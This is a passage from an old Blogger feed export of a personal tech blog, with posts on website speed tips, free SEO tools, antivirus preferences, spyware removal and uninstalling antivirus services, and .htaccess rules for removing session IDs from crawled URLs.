CSS External - to have them in the browser's cache.&lt;br /&gt;9. Reduce DNS Lookups - this way you'll split overall loading time of the page by increasing the number of simultaneous HTTP requests.&lt;br /&gt;10. Minify JavaScript - obfuscate and compress the code&lt;br /&gt;11. Avoid Redirects&lt;br /&gt;12. Remove Duplicate Scripts&lt;br /&gt;13. Configure ETags&lt;br /&gt;14. Make Ajax Cacheable:&lt;br /&gt;&lt;blockquote&gt;&amp;lt;?&lt;br /&gt;header("Expires: ".gmdate("D, d M Y H:i:s", time()+315360000)." GMT");&lt;br /&gt;header("Cache-Control: max-age=315360000");&lt;br /&gt;?&amp;gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span&gt;High Performance Web Sites and YSlow &lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;video:&lt;br /&gt;http://www.youtube.com/watch?v=BTHvs3V8DBA&lt;br /&gt;and article:&lt;br /&gt;http://developer.yahoo.com/performance/rules.html&lt;br /&gt;&lt;/blockquote&gt;Next you might be interested in optimizing your JavaScript? - here is a nice tutorial on the subject:&lt;br /&gt;&lt;blockquote&gt;Efficient JavaScript from Opera software: http://dev.opera.com/articles/view/efficient-javascript/&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update:&lt;/span&gt; here are another 20 steps which you can incorporate into your website:&lt;br /&gt;&lt;object style="margin:0px" height="355" width="425"&gt;&lt;param name="movie" value="http://static.slideshare.net/swf/ssplayer2.swf?doc=high-performance-web-pages-20-new-best-practices-120577522992998-3"/&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed src="http://static.slideshare.net/swf/ssplayer2.swf?doc=high-performance-web-pages-20-new-best-practices-120577522992998-3" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-6800172121286630323?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/6800172121286630323/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=6800172121286630323' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/6800172121286630323'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/6800172121286630323'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/01/speeding-up-website-in-14-easy-steps.html' title='Speeding up website in 14 easy steps'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-5220671127244622758</id><published>2008-01-13T00:03:00.000-08:00</published><updated>2008-01-13T00:48:52.799-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='seo'/><title type='text'>Analysis and monitoring SEO tools that work for free</title><content type='html'>There are lots of good tools that can be used to monitor your SEO campaign, but almost all of them must be purchased. For the people who want truly powerfull and free SEO tools I'll present my favorites:&lt;br /&gt;&lt;blockquote&gt;http://www.backlinkwatch.com&lt;/blockquote&gt;Just type an URL and you can investigate your competiton by their backlinks - ie. which pages have voted for them.&lt;br /&gt;&lt;br /&gt;Free monitor for google &lt;blockquote&gt;http://www.cleverstat.com&lt;/blockquote&gt;Enter the keywords that you wish to be optimised, the check positions for example: 150 (which will limit the search maximum up to the 15th results page) and begin monitoring your results.&lt;br /&gt;Benefits:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Compare with your previous results and determine the exact website changes that you've made resulted in a SERPS position change!&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Closely monitor the rivals above you, and if you build a better page, you'll be on top.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Conclusion:&lt;br /&gt;One of the most important and the same time simple truth that I've learned through the years of websites optimization is that &lt;span style="font-weight: bold;"&gt;in order to be on first positions you must deserve them&lt;/span&gt;.&lt;br /&gt;I.e you have to represent constanlty relevant and updated information on the subject that you've been presenting/writing for - so the webpage to be really beneficial to the users.&lt;br /&gt;&lt;br /&gt;Even most sophisticated backlink schemes won't get you on top of SERPS, when offering content of poor quality. The first pages search results and visitors stay time are being constantly monitored by real people, so next time it's better to think what could you offer to the visitors!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-5220671127244622758?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/5220671127244622758/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=5220671127244622758' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5220671127244622758'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5220671127244622758'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/01/free-analysis-and-monitoring-seo-tools.html' title='Analysis and monitoring SEO tools that work for free'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-8352801290234473748</id><published>2008-01-09T06:32:00.000-08:00</published><updated>2008-01-10T02:28:07.342-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='antispyware'/><title type='text'>Take the spyware test</title><content type='html'>&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://bp2.blogger.com/_nXiUn_G4NDk/R4TfXEJk5sI/AAAAAAAAANw/TKeaVFQ4LeE/s400/spyware_test.png" alt="" id="BLOGGER_PHOTO_ID_5153489460962584258" border="0" /&gt;Interactive quiz combined with follow up advices that will reveal your spyware recognition and teach you how to achieve further protection. A few questions that will rate your knowledge about the computer crime and how to avoid becoming a victim.&lt;br /&gt;It's a general must read for anyone concerned about his/her own privacy.&lt;br /&gt;&lt;img src="file:///C:/DOCUME%7E1/user/LOCALS%7E1/Temp/moz-screenshot.jpg" alt="" /&gt;&lt;blockquote&gt;http://onguardonline.gov/quiz/spyware_quiz.html&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-8352801290234473748?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/8352801290234473748/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=8352801290234473748' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/8352801290234473748'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/8352801290234473748'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/01/take-spyware-test.html' title='Take the spyware test'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_nXiUn_G4NDk/R4TfXEJk5sI/AAAAAAAAANw/TKeaVFQ4LeE/s72-c/spyware_test.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-6529612074097906047</id><published>2007-12-27T00:50:00.000-08:00</published><updated>2008-01-03T01:48:26.786-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='antispyware'/><title type='text'>What antivirus people prefer in 2007</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_nXiUn_G4NDk/R3NrSEJk5rI/AAAAAAAAANU/y7hBJe558Fk/s1600-h/antispyware_products_2007.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: none; cursor: pointer;" src="http://bp1.blogger.com/_nXiUn_G4NDk/R3NrSEJk5rI/AAAAAAAAANU/y7hBJe558Fk/s400/antispyware_products_2007.png" alt="most used antispyware products in 2007" id="BLOGGER_PHOTO_ID_5148576757110335154" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Here are the results from the Your favorite antivirus poll.&lt;br /&gt;The data has been gathered from the opinions of 100 unique people voting for their best used Antivirus product.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Results&lt;/span&gt;:&lt;br /&gt;The top 3 most used AV solutions are: Kaspesky, AVG and NOD32.&lt;br /&gt;&lt;br /&gt;Although 7% are already trying the new versions of SpywareTerminator, it seems that people are not familiar with the quality and speed of DrWeb.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-6529612074097906047?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/6529612074097906047/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=6529612074097906047' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/6529612074097906047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/6529612074097906047'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/12/what-antivirus-people-prefer-in-2007.html' title='What antivirus people prefer in 2007'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_nXiUn_G4NDk/R3NrSEJk5rI/AAAAAAAAANU/y7hBJe558Fk/s72-c/antispyware_products_2007.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-2137393431199991839</id><published>2007-12-18T04:54:00.000-08:00</published><updated>2007-12-20T00:01:37.922-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='antispyware'/><title type='text'>Remove the spyware from your system</title><content type='html'>&lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;strong&gt;Windows Vista users&lt;span style="color:black;"&gt; &lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;Windows Vista comes out with the default free installation of WindowsDefender - having its own active antispyware protection. The missing branch is an antivirus solution. So here is what you can do:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;Download and install a free antivirus program such as AVG anti virus from: &lt;span style="font-style: italic;"&gt;http://free.grisoft.com/&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;    &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;or completely uninstall the integrated WindowsDefender and install the new version of SpywareTeminator - having a resident shield and combined with ClamAV for the viruses. This way you'll ensure a full protection on your system.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;strong&gt;Laptop users&lt;span style="color:black;"&gt; &lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;If your laptop gets infected here is how to restore its proper functioning:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;1. Download the free utility &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;SpywareTerminator from another computer:&lt;/span&gt;&lt;span style="" lang="EN-US"&gt; &lt;span style="font-style: italic;"&gt;www.spywareterminator.com&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;2. Copy the application on a USB stick drive/CD and transfer it to the infected laptop.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;3. Install and Run it. Press &lt;span style="font-weight: bold;"&gt;Scan-&gt; Full Spyware Scan-&gt; Start Scan Now&lt;/span&gt;. Wait a few minutes depending on the hard drive occupied space. Next check all the results found and press Remove Infections.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;4. At this point your Internet connection should be restored and functioning so go to &lt;span style="font-style: italic;"&gt;http://downloads.ewido.net/ewido_micro.exe&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;    &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;download the application and run the online avg/ewido scanner to remove any additional threads found.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;5. Right click on SpywareTerminator taskbar icon&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;1) &lt;span style="font-weight: bold;"&gt;Check for updates&lt;/span&gt; - to download the latest program definitions&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;2) &lt;span style="font-weight: bold;"&gt;Check on the HIPS&lt;/span&gt;(host intrusion prevention system) to enable further protection of all files. HIPS may require you to do a full scan.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;    &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style="font-weight: bold;"&gt;Remark&lt;/span&gt;: If during the cleaning process the computer suddenly stops or restarts, then you'll have to restart windows in safe mode and repeat the scanning. Congratulations, by now your laptop should be cleaned and ready for use.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;strong&gt;Uninstalling AntiVirus products&lt;/strong&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;When experiencing frequent problems with &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;the&lt;/span&gt;&lt;span style="color:black;"&gt; antivirus software sometimes you should complete&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;ly&lt;/span&gt;&lt;span style="color:black;"&gt; uninstall&lt;/span&gt;&lt;span style="color:black;"&gt; &lt;span lang="EN-US"&gt;them and then going for a &lt;/span&gt;&lt;/span&gt;&lt;span style="color:black;"&gt;fresh installation. Remember that any application service left consume&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;s&lt;/span&gt;&lt;span style="color:black;"&gt; pc’s memory. So here is how to do &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;the&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;proper &lt;/span&gt;&lt;span style="color:black;"&gt;clean up.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;    &lt;p class="MsoNormal"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;If you want to &lt;span style="font-weight: bold;"&gt;completely remove&lt;/span&gt; them go to command prompt: Start-&gt;Run-&gt;cmd&lt;br /&gt;and &lt;/span&gt;&lt;span style="color:black;"&gt;then type:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;&lt;blockquote&gt;net stop service_name&lt;o:p&gt;&lt;/o:p&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;sc delete service_nameNote: when service_name consists of more than one word embrace it with quotes " "&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;&lt;span style="font-weight: bold;"&gt;Disable only&lt;/span&gt;: Open up Start-&gt;Run-&gt;services.msc and find the desired one. Click stop and then disable.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;&lt;span style="font-weight: bold;"&gt;How to find service_name&lt;/span&gt; – just find the software name in the services.msc list and look at its properties (Right Click). Then under the tab General you’ll see the "Service name"&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;List of specific antivirus software services:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;&lt;span style="font-weight: bold;"&gt;Application : Service name&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;A-squared Free: a2free&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;AVG Email scanner, Alert Manager Server &amp;amp; update: AVGEMS, Avg7Alrt, Avg7UpdSvc&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;Avira AvtiVir PersonalEdition Classic Guard &amp;amp; scheduler: AntivirService, AntivirScheduler&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;AVAST: aswUpdSw, avast! Antivirus, avast! Mail Scanner, avast! Web Scanner&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;SpywareTerminator Realtime Shield&amp;amp; ClamAV: sp_clamsrv, sp_rssrv&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;Symantec: SymAppCore, Symantec Core LC, ccEvtMgr, ISPwdSvc, CLTNetSnService, ccSetMgr&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;WindowsDefender: WinDefend&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p style="font-weight: bold;" class="MsoNormal"&gt;More information:&lt;/p&gt;&lt;p class="MsoNormal"&gt;http://www.pcmag.com/article2/0,2704,2138042,00.asp&lt;/p&gt;&lt;p class="MsoNormal"&gt;http://www.pcworld.com/article/id,136205/article.html&lt;/p&gt;&lt;p class="MsoNormal"&gt;http://www.pcmag.com/category2/0,2705,1639157,00.asp&lt;br /&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-2137393431199991839?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/2137393431199991839/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=2137393431199991839' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2137393431199991839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2137393431199991839'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/12/remove-spyware-from-your-system.html' title='Remove the spyware from your system'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-5058381923575678690</id><published>2007-11-23T00:17:00.000-08:00</published><updated>2007-11-23T00:57:47.420-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='seo'/><title type='text'>Benefits of Google's Blogsearch</title><content type='html'>There are many ways of searching for information. Via the standard search the first results pages are owned by the big websites, because of their regularly updated fresh and relevant content.&lt;br /&gt;&lt;br /&gt;But what if you want to reach a more specific and user experienced information?&lt;br /&gt;Here comes the &lt;span style="font-weight: bold;"&gt;Google's blogsearch&lt;/span&gt;-http://blogsearch.google.com/ - searching in the updated and new blogs posts.  This powerful service could help you to explore fresh websites and look further for appropriate details. It‘s also an ideal way for finding niche full with relevant information.&lt;br /&gt;These are the blogs that couldn't compete with the regular websites, but the information out there is fresh and experienced from the blog owners. I was really impressed how many beautiful niche sites I've found this way.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Alternative:&lt;/span&gt; Google Alerts - receive an email when your "keywords" are mentioned somewhere on the web.&lt;br /&gt;I've tried this service but most of the emails I've got were full with irrelevant keywords even if I tried to put them in "quotes".&lt;br /&gt;&lt;br /&gt;Cheers!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-5058381923575678690?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/5058381923575678690/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=5058381923575678690' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5058381923575678690'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5058381923575678690'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/11/benefits-of-googles-blogsearch.html' title='Benefits of Google&apos;s Blogsearch'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-2378287289738768398</id><published>2007-11-04T10:44:00.000-08:00</published><updated>2011-01-20T12:49:04.287-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='seo'/><category scheme='http://www.blogger.com/atom/ns#' term='do it yourself'/><title type='text'>Fixing duplicate content caused by sessions</title><content type='html'>&lt;img alt="duplicate content from url" border="0" id="BLOGGER_PHOTO_ID_5128924534540665858" src="http://bp0.blogger.com/_nXiUn_G4NDk/Ry2ZsKEVBAI/AAAAAAAAAJc/Vuwrle7fCTU/s400/duplicate_url.gif" style="cursor: pointer; float: none; margin: 0pt 10px 10px 0pt;" /&gt;&lt;br /&gt;As mentioned in Webmastercentral blog &lt;a href="http://googlewebmastercentral.blogspot.com/2007/09/google-duplicate-content-caused-by-url.html" rel="nofollow"&gt;&lt;span style="font-weight: bold;"&gt;Google duplicate content caused by URL parameters, and you&lt;/span&gt;&lt;/a&gt;&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;blockquote&gt;URL parameters, like session IDs or tracking IDs,&lt;b&gt;&lt;i&gt; cause duplicate content,&lt;/i&gt;&lt;/b&gt; because the same page is accessible through numerous URLs.&lt;/blockquote&gt;More information on the dynamic urls effect to search engines as well as how to manage them using yahoo's site explorer you can find here:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;http://help.yahoo.com/l/us/yahoo/search/siteexplorer/dynamic/index.html&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So if your CMS, blog or e-commerce has AJAX &lt;span style="font-weight: bold;"&gt;back button navigation&lt;/span&gt;, or just a &lt;span style="font-weight: bold;"&gt;login system&lt;/span&gt; with session IDs appended to the url, it causes duplicate content! The same is true for frames with tracking ids attached.&lt;br /&gt;&lt;br /&gt;After a long searching following with a technique from webmasterworld's member JDmorgan I've succeeded to get ~90% of my website content fully spidered.&lt;br /&gt;&lt;br /&gt;Here is how to implement this technique on practice with dynamic content using .htaccess:&lt;br /&gt;Just put the following lines in your .htaccess file and test&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;first we allow only .html pages to be spidered&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;#allow only .html requests&lt;br /&gt;&lt;br /&gt;RewriteCond %{query_string} .&lt;br /&gt;RewriteRule ^([^.]+)\.html$ http://your_web_site.com/$1.html? [R=301,L]&lt;/blockquote&gt;&lt;span style="font-weight: bold;"&gt;then we remove all the sessionid parameters when a page is being called by bots&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;#remove URL sessionids&lt;br /&gt;RewriteCond %{HTTP_USER_AGENT} Googlebot [OR]&lt;br /&gt;RewriteCond %{HTTP_USER_AGENT} Slurp [OR]&lt;br /&gt;RewriteCond %{HTTP_USER_AGENT} msnbot [OR]&lt;br /&gt;RewriteCond %{HTTP_USER_AGENT} Teoma&lt;br /&gt;RewriteCond %{QUERY_STRING} ^(([^&amp;amp;]+&amp;amp;)+)*PHPSESSid=[0-9a-f]*&amp;amp;(.*)$&lt;br /&gt;RewriteRule ^$ http://your_web_site.com/?%1%3 [R=301,L] &lt;/blockquote&gt;Additional information:&lt;br /&gt;A chain of 301 redirects could cause you a loss of PageRank.&lt;br /&gt;So please check that your &lt;span style="font-weight: bold;"&gt;301 redirects&lt;/span&gt; are final i.e. they point to an end page and not to another redirect page.  You can use for Firefox's LiveHTTPHeaders extension to do this kind of check.&lt;br /&gt;&lt;br /&gt;Next you can read some more methods of escaping the sandbox: &lt;a href="http://nevyan.blogspot.com/2007/04/deoptimizing-new-way-of-seo.html"&gt;Deoptimizing - a new way of SEO&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Enjoy and be welcomed to share your experience!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Update&lt;/b&gt;: if you don't have an access to .htaccess file you could achieve the same functionality using the cannonical tag - just take a look at these &lt;a href="http://nevyan.blogspot.com/2009/12/seo-penalty-checklist-keyword-density.html"&gt;SEO penalty checklists series&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-2378287289738768398?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/2378287289738768398/comments/default' title='Post 